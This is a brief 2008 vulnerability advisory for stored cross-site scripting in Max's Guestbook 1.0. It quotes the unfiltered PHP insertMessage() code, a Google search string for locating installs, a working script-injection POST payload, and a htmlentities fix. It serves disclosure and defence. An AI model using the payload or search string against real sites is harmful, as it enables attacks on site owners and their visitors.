Max's Guestbook 1.0 Cross Site Scripting

`%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  
%%   
%%   
%% Discovered by: GTADarkDude  
%% Disconvered on: 10 December 2008  
%% Name: Max's Guestbook  
%% Version: 1.0  
%% URL: http://www.phpf1.com/product/php-guestbook-script.html  
%% URL2: http://www.hotscripts.com/Detailed/78571.html  
%% Google Search: intitle:"Max's Guestbook" powered-by-PHP-F1  
%%   
%%   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  
  
  
*** File ***  
  
maxGuestbook.class  
  
  
*** Vulnerable Code ***  
  
function insertMessage(){  
$name = isset($_POST['name']) ? $_POST['name'] : 'Anonymous';  
$email = isset($_POST['email']) ? $_POST['email'] : '';  
$submitDate = date($this->dateFormat);  
$content = isset($_POST['message']) ? $_POST['message'] : '';  
//(...)  
$f = fopen($this->messageDir.DIRECTORY_SEPARATOR.$filename.".txt","w+");   
fwrite($f,$name."\n");  
fwrite($f,$email."\n");  
fwrite($f,$submitDate."\n");  
fwrite($f,$content."\n");  
fclose($f);  
}  
  
*** Exploit ***  
  
$_POST['name'], $_POST['email'] AND $_POST['message'] are each not filtered whatsoever.   
Not when inserted [insertMessage()], nor when displayed [displayGuestbook($page)] -> XSS!  
  
POST DATA: name=<script>while(1) alert(1337)</script>; message=qwertyuiop  
  
  
*** Solution ***  
  
Easy, simply filter all the $_POST and $_GET variables, for example by using htmlentities($var,ENT_QUOTES)  
`